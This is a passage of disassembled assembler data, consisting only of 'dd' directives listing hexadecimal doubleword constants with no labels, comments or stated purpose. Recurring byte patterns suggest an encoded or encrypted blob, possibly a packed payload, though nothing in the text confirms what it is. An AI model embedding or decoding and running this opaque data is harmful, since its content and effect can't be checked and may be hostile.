		dd 63FE5213h, 7252EBAh,	5D47B798h, 60613407h, 0FB443215h
		dd 1D4F5BD0h, 6C1CD95h,	6999DE95h, 0EF25EAAAh, 7F58AF90h
		dd 0E6E85213h, 0A0E9D4D7h, 74466B90h, 69427E13h, 0E70F4AAh
		dd 9DEE5EFEh, 6FF1CDEDh, 8F242006h, 66113219h, 2F55388Ch
		dd 0F88995B4h, 0AFB21C6Dh, 5D47B798h, 0EE873407h, 66443207h
		dd 66223FFCh, 62392915h, 0F34E73B8h, 808588E4h,	0B6DD9635h
		dd 661137FCh, 80898615h, 0E3CDACF5h, 603B4924h,	660CB31Ah
		dd 6E83215h, 6657DA74h,	0D2163215h, 99494390h, 5664C17Dh
		dd 8B6F9B75h, 6986F6F3h, 0A0706995h, 748A6B90h,	63AD7613h
		dd 0D0223215h, 0C7F17DC9h
		dd 1506677Dh, 0EE4B52AEh, 66223210h, 38FAB373h,	0D377533Fh
		dd 60561C0Ch, 6625B41Ah, 0E71E3215h, 66883214h,	30C1BFE0h
		dd 8F24202Eh, 66113213h, 67820769h, 0B6BB4B89h,	662238FCh
		dd 1C930015h, 5CF37D08h, 0EFA25970h, 7F589390h,	0E3D7CA13h
		dd 609A304Ch, 6ACB3D56h, 69223215h, 66113495h, 660C3D15h
		dd 0E443215h, 0DAAC5CE9h, 0BDA63D75h, 4947B373h, 0D3BB53EAh
		dd 60301C0Ch, 6617B51Ah, 0E83215h, 7DF55AAh, 30A7BFEDh
		dd 8F17202Eh, 66883207h, 794AA049h, 216B4941h, 2AAEB61Dh
		dd 203832CBh, 6BAD9932h, 2B223215h, 0D0B0643Dh,	0E55D6B86h
		dd 99D994Ah, 9ADBE2EAh,	1CB4B79Ch, 0E8340Ch, 936DAEh, 0E79FD194h
		dd 3F94F474h, 358E2017h, 665CB61Ah, 75CB3215h, 0DF113215h
		dd 0F5B867B2h, 9130C406h, 247C6E9Ch, 957A7292h,	0CCE09914h
		dd 682222Bh, 6620B31Ah,	969B3215h, 975BD2ACh, 0D3BB5325h
		dd 60301C0Ch, 661139FCh, 2495AD15h, 8E134D11h, 3C09C2FFh
		dd 5D47B798h, 75613407h, 9B443215h, 6D43DEC7h, 28B9F13Ch
		dd 0B73E0D59h, 0AFF161D4h, 0B6DD450Fh, 66113DFCh, 701F3C15h
		dd 12C5222Ah, 0E99BD4EDh, 0C596C969h, 1C21B79Ch, 8E24340Ch
		dd 66223212h, 0B23870B5h, 0D4EF7Ah, 3C225FACh, 379FB174h
		dd 6617200Fh, 65EEB61Ah, 69AD3215h, 69223215h, 7CF99503h
		dd 563FB655h, 4C19AE50h, 0A0D7CC78h, 74136B90h,	0E717413h
		dd 9CD2FC24h, 6623B31Ah, 69E93215h, 66883C9Ch, 664DDB15h
		dd 4E63215h, 69A18D0Dh,	997CA4C9h, 746A2BA0h, 6DA43D13h
		dd 8F113215h, 66883213h, 805BA2A1h, 0E3AF0033h,	60030943h
		dd 6689BA1Ah, 99B83215h, 0D12D52C5h, 661BDBD2h,	65FF3215h
		dd 8F622DC5h, 0D517250Fh, 6394BB74h, 8F8E2B6Eh,	66443201h
		dd 0B6A6F9C5h, 4FA81AC3h, 6D790664h, 0F8D5F60Ch, 9FFD3181h
		dd 6448B7D3h, 6CE3407h,	0E9BB0CACh, 0AEA3543Ch,	0E70D1A1h
		dd 9A2F08C3h, 664421FCh, 0C2058B15h, 638E9C55h,	0FABEC3CCh
		dd 47BBD5B1h, 482E1A26h, 480887EAh, 0EB703407h,	747F6490h
		dd 0B6DDCE13h, 661ABB1Ah, 69E83215h, 66443292h,	84E3B215h
		dd 7394BB74h, 68E2B6Eh,	6647B41Ah, 0ED443215h, 0A49A54CBh
		dd 3F0DF474h, 20422017h, 662AB21Ah, 0E61E3215h,	66883217h
		dd 662C5375h, 9AB0CEB1h, 480887EAh, 69E83407h, 66443095h
		dd 8FFFB815h, 66113218h, 0C59E01F2h, 11EA9A36h,	0AD2A06D7h
		dd 0E39C5349h, 609A0943h, 63C83D75h, 223215h, 0D8F4F594h
		dd 0D8797AFh, 0B6BB5366h, 662FB71Ah, 6EF83215h,	3E883215h
		dd 90B97884h, 0EF8EB43Bh, 7F6A2B90h, 6682DB13h,	296B3215h
		dd 69D75BE8h, 0FA00E65Eh, 64D1B7D3h, 8F023407h,	66223219h
		dd 5A9F81A4h, 0F26337F4h, 5A97210Bh, 0B26D587Dh, 0D3EEC7E3h
		dd 609A1C0Ch, 66443AFCh, 87137615h, 0AACE4275h,	300DBF9Dh
		dd 642202Eh, 986E494h, 72F914C0h, 883215h, 3983EAC5h, 0CA8D271Ah
		dd 0B12B0D0h, 42283628h, 93E143FDh, 0B6DD534Ch,	7B94BBECh
		dd 8F8E2B6Eh, 66443219h, 92A66D03h, 6A93DD9h, 7F3C2AB4h
		dd 641DB7D3h, 9A643407h, 0AB41D57Dh, 0D377C781h, 60561C0Ch
		dd 0E7EAB975h, 0E61653F2h, 0E3055371h, 60560943h, 662223FCh
		dd 15D04315h, 0FB529BB4h, 654435B5h, 74D708FEh,	0B6EEB30Bh
		dd 668822FCh, 976D0B15h, 727AE2F3h, 92F5D0CEh, 0DF894379h
		dd 6FC1BBF5h, 93242B6Eh, 6448B7D3h, 69CE3407h, 66442C9Ch
		dd 7EA03D15h, 8F113215h, 66883206h, 11A0F190h, 0D560A0BDh
		dd 488006C4h, 8945CC3Ah, 0E8410F8h, 0D700462Eh,	6608BC1Ah
		dd 31E83215h, 664BDA4Ch, 121C3215h, 1C7C1C2Ah, 256960EBh
		dd 0C8316BE6h, 8F436CAFh, 6611321Fh, 27078643h,	95874845h
		dd 0D3DD95CCh, 60031C0Ch, 6690BD1Ah, 8F243215h,	6622321Bh
		dd 84DFAB66h, 8029944Ch, 3AB9DA15h, 0D92D8867h,	0E39C53E7h
		dd 609A0943h, 0B6BBCBE0h, 662238FCh, 23418015h,	194F8AE9h
		dd 0EF0AAF25h, 7F593F90h, 67963D13h, 9F883215h,	641DB7D3h
		dd 69643407h, 66113399h, 8BE0CE15h, 69B4BFFh, 0DDD4851Ah
		dd 5CA7B049h, 7F3DCD74h, 642203Bh, 209C54EDh, 0E39C5336h
		dd 609A0943h, 664420FCh, 27B72415h, 4642040Bh, 0C4117D9Eh
		dd 83D73096h, 99B5950Eh, 68F852C5h, 57883215h, 0B255CE79h
		dd 8A695542h, 4568985Dh, 0EFE9CB2Bh, 7F3F2390h,	662CDB13h
		dd 15DB3215h, 312A97F5h, 0D675F7A0h, 0AEDB4C34h, 474C8F96h
		dd 69883407h, 6644BD90h, 662ADB15h, 0B6D63215h,	78C44DA6h
		dd 6248ECEh, 0CFF563AEh, 6618DA3Fh, 37813215h, 7E285F15h
		dd 3E27078Ch, 3A7C8A74h, 0A0E9372Ch, 74466B90h,	0E22D6113h
		dd 66113206h, 66883CFCh, 625F5615h, 0EF56363h, 72D73C8Eh
		dd 0E60576Ch, 0A8FAD24Bh, 7F97CDE0h, 617203Bh, 0A6898C73h
		dd 0BD653CADh, 0E3AF5345h, 60030943h, 0A0373D75h, 3597B373h
		dd 0B6DD53B1h, 6610B91Ah, 0EF703215h, 7F3E9F90h, 6EA23D13h
		dd 69113215h, 6688309Dh, 9F255215h, 647BB7D3h, 6563407h
		dd 0DCB9F6ACh, 0E25CE01h, 0A1936C92h, 0D3EECEE9h, 609A1C0Ch
		dd 30C1BFE0h, 8F24202Eh, 66113219h, 0EBE2EE36h,	0E9CDAA9Fh
		dd 95B26AD9h, 0E61EE2EAh, 66883213h, 80FE5475h,	0E3AB53E1h
		dd 600848A4h, 668834FCh, 38645215h, 0E53FAA6Bh,	74306FA8h
		dd 0E3873213h, 6644327Fh, 6624DBECh, 74813215h,	0B4CAD9FEh
		dd 641DB7D3h, 8F653407h, 66113212h, 0ED8B525Fh,	0EFFE135h
		dd 80404C10h, 0A0C3B275h, 0C55FB373h, 0D3BB530Eh, 60301C0Ch
		dd 3094BFE9h, 68E202Eh,	7CD38B73h, 662239FCh, 3550A215h
		dd 8305B520h, 0A092C440h, 9AF2CD74h, 1CA4B79Ch,	6D61340Ch
		dd 0A7443215h, 4228A44Fh, 798912DFh, 0E34E5D6Bh, 6056304Ch
		dd 904ACE56h, 6983481Ch, 66883E9Eh, 6643DB15h, 64823215h
		dd 0D4F323D7h, 7F3DCD02h, 8F42203Bh, 6622321Ah,	0EC7224E6h
		dd 0BB4DBB0Bh, 16CF67Fh, 0EB587167h, 742A6490h,	0D1875213h
		dd 6655DBEBh, 48233215h, 5557860Ah, 0ECEF82D2h,	0D53DA8FFh
		dd 7DB1FA3h, 6CF96175h,	97883215h, 6093BD0Fh, 6F4CC990h
		dd 7496BAEh, 7561E2EAh,	5A443215h, 815E0974h, 67A75D92h
		dd 0BBDA3085h, 3CE78D94h, 0E3ABEE15h, 600848ACh, 3F0DF4ECh
		dd 25422017h, 69F1B975h, 66113D9Ah, 6682DB15h, 9CC03215h
		dd 0DB1F2E6Bh, 0AC5ED473h, 6686DB74h, 1A323215h, 2C4E8585h
		dd 563F6A5Fh, 52A5E147h, 47D3127Dh, 0E32DC7E9h,	6611321Bh
		dd 66883BFCh, 0BE923215h, 56BC6708h, 0D3EEA9F7h, 609A1C0Ch
		dd 30C1BFE9h, 9A24202Eh, 0E51EE2EAh, 66883214h,	664CDBE9h
		dd 58533215h, 0CDC15D44h, 0E3013A1Dh, 605D48A8h, 6631DB75h
		dd 9CA63215h, 0ED249BAh, 7D0E2D91h, 0FC95ACE7h,	0EA496AD1h
		dd 0A109541Dh, 0E525A938h, 74036FA8h, 0E31E3213h, 6688335Eh
		dd 66443EFCh, 0C51D6D15h, 0F1250DCFh, 0CBFCC6F9h, 3FC1F464h
		dd 25242017h, 63953D75h, 0DE883215h, 5B7C36FAh,	662223FCh
		dd 4252B615h, 0E00CD3B8h, 0A5A45BFh, 7E377CF6h,	0E700BDDh
		dd 0ED889A16h, 31FB5275h, 27E380h, 7A712AAh, 0D377CE74h
		dd 60561C0Ch, 0B4953D75h, 0BE9C8C73h, 300DBF74h, 6942202Eh
		dd 66222791h, 69993D15h, 8F883215h, 6644321Fh, 31BC2060h
		dd 0F80D4394h, 0EDE8D42Ch, 6AAD52EFh, 78223215h, 0E04FCA69h
		dd 0DCFDFF49h, 91B18h, 70620AAh, 6C1CD74h, 0E6BB375h, 531D8h
		dd 7CD31AAh, 6613BA1Ah,	1B3B3215h, 0A3C1BB74h, 9E242B6Fh
		dd 6448B7D3h, 69CB3407h, 66443598h, 0B8A95215h,	7D08D1Ah
		dd 3DBEE77Dh, 6643DBF0h, 0D8FC3215h, 0EA0391E2h, 7F3DCD5Fh
		dd 8F42203Bh, 66223212h, 0EE01225Dh, 0EB5E9213h, 747F6490h
		dd 0D8985213h, 66942D9h, 0E17BDD94h, 725123Ah, 0EFDBE2EAh
		dd 7F6BF390h, 37705213h, 388D8D1Ah, 72CA5274h, 0FC113215h
		dd 0DE8AB4B9h, 8A0E7488h, 53EA862Ch, 7AF3517Bh,	0D52B2974h
		dd 75AD6960h, 99223215h, 607EE52Bh, 8CDEE1F8h, 0D47B24Bh
		dd 8274D7E1h, 0A070530Dh, 748A6B90h, 0EA4B7113h, 66223214h
		dd 54F05AECh, 6061D8BFh, 2D443215h, 43CFEA53h, 7FA4CD2Eh
		dd 68E203Bh, 69BC8D1Ah,	0EB43E0A2h, 742A6490h, 6B615213h
		dd 0D443215h, 25BD8E7Eh, 8DA8C844h, 1C2D15Dh, 8F94CD74h
		dd 66223212h, 4BE20581h, 0EFA3C341h, 7F3EFB90h,	0E3E4CB13h
		dd 6003304Ch, 620E3D56h, 6443215h, 0E435375h, 0E2E09E22h
		dd 6690B21Ah, 75AD3215h, 53223215h, 5D20ACB1h, 43BF5439h
		dd 1693E28h, 472867B4h,	0D3EE7FC5h, 609A1C0Ch, 664CDB75h
		dd 4AEE3215h, 0B7E69EB4h, 7761B105h, 0D8443215h, 0A5B7BA00h
		dd 2C68FE1h, 164CC0CCh,	0F6EB7B26h, 30A7BF74h, 8F17202Eh
		dd 66883206h, 0F0B698Bh, 2DEE42C2h, 0A265546h, 161F2ADFh
		dd 9960A419h, 67AD3DC5h, 9A113215h, 1C45B79Ch, 75AD340Ch
		dd 37223215h, 7B61BC8Ah, 0ECBC4628h, 0A6F4982Ch, 0CC45A299h
		dd 0E3D7F24Bh, 609A304Ch, 0DE22525Ah, 85A304B6h, 62564A30h
		dd 0F65C5A74h, 99B1A520h, 740C2BA0h, 0E39CC713h, 609A0943h
		dd 75AD6375h, 81223215h, 0BE3AECACh, 0CAA0DCDh,	7AA84D06h
		dd 5766315Eh, 0EC4E52F4h, 0B67753E6h, 0B7C1BBE9h, 93242B6Fh
		dd 6448B7D3h, 9AC73407h, 84A307Dh, 0D84452ECh, 0D9775BA5h
		dd 99E9FA07h, 746A2BA0h, 6EAA3D13h, 69113215h, 6688309Ch
		dd 8F255215h, 6622321Eh, 5F232094h, 0FEB13A57h,	0EBD981DBh
		dd 74196490h, 6AF85213h, 84883215h, 5EE9B73Dh, 4E6BC069h
		dd 8F3FE7A7h, 6688321Ah, 0D5359C2Fh, 0DC0326DBh, 6B05B804h
		dd 7819346h, 694CDE9h, 0CF171FAAh, 728813Bh, 0B30DBBE9h
		dd 69422B6Fh, 66223595h, 3C405215h, 77B851Ah, 641DB7D3h
		dd 8F6F3407h, 66113201h, 221C4B10h, 855B8165h, 0D3EB3406h
		dd 0CB253F92h, 267CDA24h, 513D7B7Dh, 0AF9A52DDh, 1DE0BBh
		dd 8E49EA94h, 7FF1CD74h, 9E24203Bh, 66113EFCh, 2E2ACE15h
		dd 0A9932CA5h, 0C4EFB1F6h, 3094BF3Ah, 698E202Eh, 66442D92h
		dd 0EE2D5215h, 66113215h, 668820FCh, 70CCB215h,	0E1C2F74Fh
		dd 0AE695A9Bh, 4873778Ch, 7EFCFE4h, 0EFDAE2EAh,	7F6BEF90h
		dd 0E487C713h, 6644321Bh, 66223BFCh, 0B429C115h, 44EAC44Ch
		dd 0E382A97Ah, 6030304Ch, 6A9B3D58h, 69883215h,	66443497h
		dd 66AF3D15h, 0E113215h, 0BA7F7F9Ch, 0EDDF8975h, 72CB2013h
		dd 0F8113215h, 8AE4336Fh, 22CED36Eh, 2BFCB10Bh,	5E31180Bh
		dd 779336Ch, 0E7225275h, 9E6E32D6h, 6617DA74h, 0AB2F3215h
		dd 0F66A4A8Bh, 66223DFCh, 79D62A15h, 8A7A0382h,	2EE40A94h
		dd 58D4BF8Bh, 0D3EE534Bh, 609A1C0Ch, 7DC13DE9h,	6223215h
		dd 661120FCh, 8D8FF315h, 0B6E2A41Bh, 67CB9D8Dh,	0DE1CD1D4h
		dd 3414F71Bh, 0E3C9534Fh, 60300943h, 6C1CDEDh, 6684BA1Ah
		dd 61AD3215h, 0E1223215h, 0F71DF3B5h, 0DDEE31A3h, 692578D7h
		dd 66223990h, 6617DB15h, 6313215h, 0E2F64Dh, 1CFBB79Ch
		dd 0A0ED340Ch, 748A6B90h, 0E7246713h, 7064B6E6h, 0BFC7B35Ch
		dd 7C5D38Ch, 6656B71Ah,	6BCB3215h, 52113215h, 0A6D439BBh
		dd 234DC26Dh, 97F3347Eh, 7D3C057Dh, 6698DB89h, 0C7F33215h
		dd 2C608150h, 83A5E655h, 0B4104F03h, 61AD896Ch,	0D2223215h
		dd 76D5201Eh, 0D3772549h, 60561C0Ch, 30A7BFEDh,	6917202Eh
		dd 66883494h, 7245215h,	6943CC9Eh, 66113399h, 0B677C715h
		dd 66443CFCh, 53177B15h, 8537FB5Ch, 0FC2828DDh,	0EF4603D2h
		dd 7F58D390h, 0DE775213h, 7761DBD5h, 2443215h, 0DFB41949h
		dd 0D85DADCAh, 5FA80340h, 48774DD5h, 3FA7F474h,	25172017h
		dd 99373D75h, 664438FCh, 0D717D15h, 0AD28DF71h,	7CC790Ah
		dd 0B3B4187Dh, 0D3DDCEC7h, 60031C0Ch, 668EDBE0h, 0D0A3215h
		dd 0CCC3A984h, 5D47B798h, 60613407h, 0F9443215h, 0C4B6DD6Bh
		dd 69C1CD25h, 66883F9Bh, 60AD5215h, 3F223215h, 7238B0EEh
		dd 0E30153AFh, 605D48F0h, 662ABB1Ah, 0E81E3215h, 66883217h
		dd 0E74B5375h, 6622320Ch, 661126FCh, 82959315h,	64E1324Ch
		dd 2A42DF40h, 0C05AB1Ch, 62C5AE00h, 3FC1F425h, 34242017h
		dd 66113FFCh, 7ACCF215h, 0E4E68CF6h, 540E959Fh,	0EE9D9D6h
		dd 9BCA86FFh, 7FF1CDEDh, 9F24203Bh, 5D47B798h, 6E83407h
		dd 8F256A47h, 66223204h, 25CB7DE3h, 9D3DA7B7h, 3117092Bh
		dd 92C8F609h, 61F8534Fh, 4E883215h, 0DDCD4E10h,	0B6DDCD20h
		dd 97AE3D75h, 668EBD1Ah, 0A0C53215h, 4AB8B476h,	1B94BB74h
		dd 698E2025h, 6644239Eh, 0D9445215h, 60F83B8Ah,	0B883215h
		dd 230C3F66h, 0E3E45331h, 6003304Ch, 7561C752h,	0B4443215h
		dd 0B556003Ah, 0FEEB449Ah, 879C3CCCh, 30A046F8h, 0FF4A9050h
		dd 8FF3AA4Ch, 6688321Fh, 0E0E366FEh, 3643C0Eh, 0D3EECEBAh
		dd 609A1C0Ch, 30C1BFE0h, 8F24202Eh, 66113205h, 0EB6B73D5h
		dd 0A49C577Ch, 2B9A60EAh, 16B366DDh, 0E787E2EAh, 6644321Fh
		dd 662237FCh, 2D474015h, 0E301D398h, 605D48FCh,	3EDA6375h
		dd 7C1851Ah, 64D1B7D3h,	69033407h, 66222795h, 6601DB15h
		dd 0CD2D3215h, 44E945DAh, 7AD6E615h, 0F63239A6h, 0A4E0E101h
		dd 93F5CF75h, 483B87EAh, 6CF83407h, 0B6883215h,	40526ED4h
		dd 0FA4B0077h, 3094BF54h, 9E8E202Eh, 68ADE2EAh,	13223215h
		dd 486A917Bh, 0B9700164h, 1FE43DD1h, 0E3ABCA4Ch, 600848F8h
		dd 668FB51Ah, 36243215h, 0B9A9544Fh, 3F94F474h,	218E2017h
		dd 66443FFCh, 73007215h, 1D2ED571h, 0E10FBD5Fh,	722CA1DAh
		dd 8FFD94EBh, 6611321Eh, 8B0D5A84h, 2A9E4C85h, 99BCBD7Eh
		dd 743F2BA0h, 6C0C3D13h, 6443215h, 0E02DE79Fh, 66113215h
		dd 300DBF74h, 8F42202Eh, 66223206h, 5BA8E666h, 0E5D18BEDh
		dd 30E01F96h, 0D5F06810h, 993DB274h, 669BDBC5h,	0D1A23215h
		dd 2A0A4167h, 641FADC4h, 83AE41E5h, 28261865h, 0E3ABCB13h
		dd 600848E4h, 3F0DF4EDh, 39422017h, 0BC9D3D75h,	6613B01Ah
		dd 7E83215h, 942C5A74h,	0EA2DAC45h, 66113214h, 7F3DCDE0h
		dd 8F42203Bh, 6622321Ah, 0AD8B7EAEh, 42B26A53h,	993D2CEFh
		dd 0EB8AFB96h, 742A6490h, 6683DB13h, 46043215h,	0E114D86Bh
		dd 81717CA1h, 9F58CDFEh, 1CB1B79Ch, 63CB340Ch, 0D2113215h
		dd 67D63FF4h, 664FDA75h, 0B3153215h, 0CAF3A104h, 0D3452E3Bh
		dd 8CC56B36h, 0B229A4Dh, 3F94F474h, 298E2017h, 6654DBE9h
		dd 530D3215h, 188CD22Eh, 0C11DF648h, 342527B4h,	594A16AFh
		dd 6D6CE6Eh, 668823FDh,	0C4588715h, 1522A5BDh, 1192DFA3h
		dd 53B87514h, 0ED22DC73h, 0E12D6CCCh, 6611320Dh, 668821FCh
		dd 20E7C15h, 0A782B5F7h, 65A7A319h, 99285794h, 5C6943F5h
		dd 7F97CD74h, 8F17203Bh, 66883213h, 3DE73CBBh, 0E3AFF8C7h
		dd 60030943h
		dd 668821FCh, 26F1EA15h, 0B5998DDCh, 5B93B5F1h,	0A8E508A6h
		dd 803C947Bh, 0EFDEE2EAh, 7F6A1390h, 77053D13h,	8F443215h
		dd 66223219h, 0F6D6613Eh, 0F7C5913Dh, 0E1C653F0h, 647BB7D3h
		dd 9E563407h, 3DE67E7Dh, 8DCE52EFh, 6625DB74h, 7A23215h
		dd 0C5FD1E95h, 7FF1CD9Dh, 6924203Bh, 6611339Ch,	0E305CB15h
		dd 60560943h, 97A36075h, 102DF826h, 751B94Ch, 6645B01Ah
		dd 99D73215h, 0E77752C5h, 69AFDDE4h, 66442798h,	662DDA15h
		dd 4933215h, 0B5BD0563h, 8FA1BBEBh, 0D6F0AB0Ah,	0EF706D0Dh
		dd 7FF31790h, 6657DB13h, 0B8823215h, 38803619h,	0F6772268h
		dd 518904A5h, 1913A8A7h, 3F94F46Fh, 218E2017h, 0DE3F8375h
		dd 7FF59636h, 42DC5A74h, 9974F113h, 746A2BA0h, 0E3AFC713h
		dd 60030943h, 0A8335475h, 90FB3D23h, 69F2CD74h,	6611389Ch
		dd 0D1875215h, 0B4C554D7h, 0EF43F1F2h, 7F6A1B90h, 7D0C3D13h
		dd 6443215h, 662223FCh,	5BE2F515h, 0F80A1C6Fh, 6A0847D2h
		dd 46645127h, 0A5911CD1h, 0E34E5367h, 6056304Ch, 72A43D4Ah
		dd 69113215h, 66883C9Bh, 664DDB15h, 0A0223215h,	6D8172B3h
		dd 6946169Bh, 6644339Eh, 0AA4ACB15h, 69C58975h,	6688339Ch
		dd 0D3BBCE15h, 60301C0Ch, 3094BFE9h, 8F8E202Eh,	66443213h
		dd 0B19C8CD2h, 0B6EE45FAh, 9F0DBBE0h, 6422B6Fh,	6620B11Ah
		dd 7713215h, 5442B373h,	0E382538Bh, 6030304Ch, 9F40524Ah
		dd 99AE8B4Dh, 0E250562h, 0F8CB665Bh, 6610B61Ah,	99743215h
		dd 746A2BA0h, 6ECA5213h, 8F113215h, 98CBE418h, 3D6D2D6Ch
		dd 697D6275h, 770FBA2h,	5DDEB798h, 68AD3407h, 30223215h
		dd 281E00D5h, 3142A79Ch, 5766B618h, 6F2CD82h, 0B99AC89Eh
		dd 9B0DBB74h, 8F422B6Fh, 66223219h, 8716951Eh, 6696B1CBh
		dd 6BE353E5h, 647BB7D3h, 694E3407h, 66883595h, 67CD3D15h
		dd 9E223215h, 75397A7Dh, 8FE8C7C4h, 6644321Ch, 0B81F1D16h
		dd 1C4C9E92h, 6B61615Bh, 43443215h, 3E9CEB7Dh, 60260357h
		dd 337F22F0h, 0D3BB534Ch, 60301C0Ch, 3094BFEDh,	68E202Eh
		dd 6641B11Ah, 0E7443215h, 8EAFEECCh, 66883204h,	0C04DF1CDh
		dd 1F9C3A84h, 1CB8B34Ah, 0AF1F15E7h, 4CA2B381h,	3C67A4DEh
		dd 93C1CD74h, 1D89B79Ch, 0CBD340Ch, 662ADB11h, 1BB13215h
		dd 9F31EAA7h, 662CB194h, 8F223205h, 66113204h, 3EC57A10h
		dd 4F61997Eh, 61556B00h, 5A9F81A4h, 66E0CEF4h, 9A443205h
		dd 0ED2D327Fh, 66113219h, 668EBF1Ah, 0E54B3215h, 66223215h
		dd 47D0A7EAh, 6A613407h, 0A2443215h, 618539D2h,	7892ECF4h
		dd 0EFE9C215h, 74483790h, 0ED745213h, 0E41E6BDDh, 66883216h
		dd 7BAB973h, 662226FCh,	2F786B15h, 0AFC10720h, 7C8CD133h
		dd 57E5A8B5h, 2D9D5B17h, 820DBF86h, 9F422B49h, 6DCBE2EAh
		dd 48113215h, 3F12F833h, 1A34953Bh, 62483ADFh, 66113AFCh
		dd 44F24B15h, 23803F02h, 664ACBEDh, 9A113205h, 66A8327Dh
		dd 74C03D15h, 8F223215h, 66113218h, 2016C107h, 0E9F064E0h
		dd 0A5586254h, 691158E6h, 66883399h, 0F3BBCB15h, 603013D4h
		dd 6610B11Ah, 0EF7D3215h, 74410B90h, 68CB5213h,	0B0113215h
		dd 0D91150A2h, 3AB1165Eh, 0FD65101Fh, 0E398531Ah, 609A11D8h
		dd 6655BC1Ah, 0E72D3215h, 6611321Eh, 668834FCh,	0CA02A15h
		dd 0C1CBC50h, 6617DB55h, 7F143215h, 0D68EA6E2h,	6632327Dh
		dd 72953D15h, 8F883215h, 6644321Ah, 0FB2D6539h,	0ECD50ED6h
		dd 0FE41E3Ch, 0EC06C53h, 66233215h, 661120FCh, 2227CF15h
		dd 0C94F7D38h, 15A68ED7h, 0B30141EFh, 0C061891h, 0F3BBCE15h
		dd 603013D4h, 0F794BBE0h, 9A8E200Eh, 57C1879Eh,	6ECB3407h
		dd 0D0113215h, 58D138E8h, 0EDDB179Ch, 7427CB88h, 6C983D13h
		dd 8F883215h, 66443210h, 605E7E50h, 0CFA4BB39h,	8F8E203Eh
		dd 66443219h, 0D260DF1Ah, 0E426AF4Eh, 96B53318h, 665DB71Ah
		dd 72CB3215h, 5A113215h, 0E0950965h, 9B847544h,	2B6494B1h
		dd 6A7BE703h, 0EF99D965h, 74562B88h, 6636DB13h,	48683215h
		dd 46EACE92h, 0BE9B2ED5h, 0F43AED49h, 878FE687h, 0ED7D8AC2h
		dd 7441CB88h, 0ED445213h, 7E4B8CFh, 668CDE94h, 72CD3215h
		dd 66228831h, 0BC103215h, 6D2389Eh, 81B88A73h, 66223EFCh
		dd 34CAD615h, 0F0BCD289h, 18D2AA9h, 9FA15388h, 7E953D15h
		dd 688322Fh, 6915F59Eh,	6622329Bh, 31706B15h, 0A109D59Ch
		dd 66443211h, 6626DD94h, 5A963215h, 62016E31h, 72CA3D31h
		dd 8F223215h, 6611321Ah, 627C8E87h, 0FBE23FACh,	9FEA6A81h
		dd 3766A637h, 0A709D39Ch, 66443211h, 0E126DB96h, 0EF4D1619h
		dd 69611619h, 0CE443215h, 7B32596Ah, 5F072B88h,	544344BBh
		dd 624938Dh, 0ED4452EDh, 949A54CAh, 0A6B95374h,	66443AFCh
		dd 74E50715h, 80E361DDh, 6682DB46h, 2BD83215h, 5C4A0211h
		dd 2C4F6641h, 661DB79Ch, 243407h, 0A796DD94h, 6614BD1Ah
		dd 3F323215h, 7606C80h,	33768B44h, 0A89800E7h, 2B4EB34Ch
		dd 0E71ADA4Dh, 4370A9D3h, 0DC77527Bh, 69E87D5Ah, 66443295h
		dd 6624DB15h, 0F04B3215h, 4642161Fh, 0DE145374h, 4AA01F6h
		dd 6549F43Ch, 0E7A81661h, 0EE77D1D3h, 0CB44C777h, 661122FCh
		dd 0E1E5CF15h, 0A6F647A0h, 0FC89B86Bh, 0A7580F45h, 0BC03528Eh
		dd 3425E49Eh, 6548CEAFh, 0C7F3B37Bh, 0E7A71A2Dh, 920B01DFh
		dd 6DE0B33Fh, 0E766D065h, 6A010ED7h, 3C941B9Ah,	46067616h
		dd 8579C810h, 0DDDBCE20h, 6644326Dh, 55A9F114h,	0E7352E9Eh
		dd 668836D1h, 60AC5215h, 0D7223215h, 5237A270h,	66023D19h
		dd 39443215h, 662238FDh, 955D7015h, 13FB6705h, 0A5C295h
		dd 0E6BD194h, 0DF40534Fh, 35B362F4h, 4E5CC394h,	97A340AAh
		dd 49B92B35h, 62B2DB94h, 0A84532D2h, 4256314Ch,	0F9FFB335h
		dd 8F855748h, 6644321Ch, 3B2C7251h, 43DB41C1h, 0ED86107h
		dd 4FCA36E0h, 4BFAC54Dh, 270D23A4h, 50CF7A30h, 27741F15h
		dd 0A5AB3201h, 0EDE2334Dh, 6961692Eh, 0B9443215h, 550219D3h
		dd 2C00C86Ch, 0F6AE9668h, 0DBCDA724h, 60302310h, 6610B81Ah
		dd 0E3713215h, 4CC13DEAh, 6223215h, 0BCF953EDh,	688324Ah
		dd 0D6C08873h, 7ED851Ah, 661700FCh, 68053D15h, 6443215h
		dd 0A23CF094h, 0EC1E1050h, 66883215h, 18E35A74h, 6AAB3215h
		dd 3146CE31h, 0AC9CAAh,	42381B07h, 0E7786D11h, 359CD7h
		dd 6681DB07h, 87323215h, 0F19371AAh, 0D87C0B6h,	0E836C7h
		dd 8ECB0EADh, 6622321Dh, 0ACB51383h, 280998B5h,	0F3CD534Ah
		dd 60303424h, 66113CFCh, 9757F915h, 7C1C1449h, 3C83E005h
		dd 0C63ED63h, 66E0CA11h, 69443205h, 66221199h, 63F85215h
		dd 19883215h, 899B7B96h, 662220FCh, 0C7AA1715h,	51F19474h
		dd 0D8BA1CABh, 908C8B02h, 74B598Ch, 6368BB45h, 66443211h
		dd 0E126DA96h, 0EF4D1611h, 0E1871601h, 6644321Bh, 66223BFCh
		dd 19633915h, 0FEF9F7E0h, 662E8A83h, 0B0A35475h, 0EC1E8B3Ch
		dd 66883213h, 200BFC94h, 99435295h, 7430F380h, 6685DB13h
		dd 84103215h, 47572882h, 1CA2CF5Ch, 0EF850AD1h,	7477D790h
		dd 6EA13D13h, 69113215h, 6688309Ah, 36255215h, 0E506269Eh
		dd 99E936D1h, 0E5D11621h, 8EBC36D1h, 66226CA4h,	66113DFCh
		dd 1DC72F15h, 802F572Fh, 591022AFh, 2B401E09h, 668834FCh
		dd 8944F115h, 30CBA193h, 0A090D49Ch, 66883211h,	0E140DC96h
		dd 0EF7E1621h, 0E71E1621h
		dd 66883202h, 664420FCh, 0E84FC815h, 27F31483h,	60194EB8h
		dd 4484543Ah, 698B0780h, 66113E93h, 600E3D15h, 69443215h
		dd 6622329Ah, 74F89F15h, 70883215h, 597F2810h, 0ECD16C7Ah
		dd 0E33F351Bh, 5941F206h, 2FC41F78h, 0F3273B92h, 65785144h
		dd 4BAC1651h, 0F276380h, 0E16BB210h, 6617DB1Ch,	0F3523215h
		dd 652F0208h, 6610F27Dh, 4215BB15h, 69D76A42h, 66442390h
		dd 6DAB3D15h, 8F113215h, 66883213h, 0D27B6845h,	0DA4A24B3h
		dd 0EF11327Eh, 9C011601h, 8F1EE19Ch, 66223204h,	0A5E32CF0h
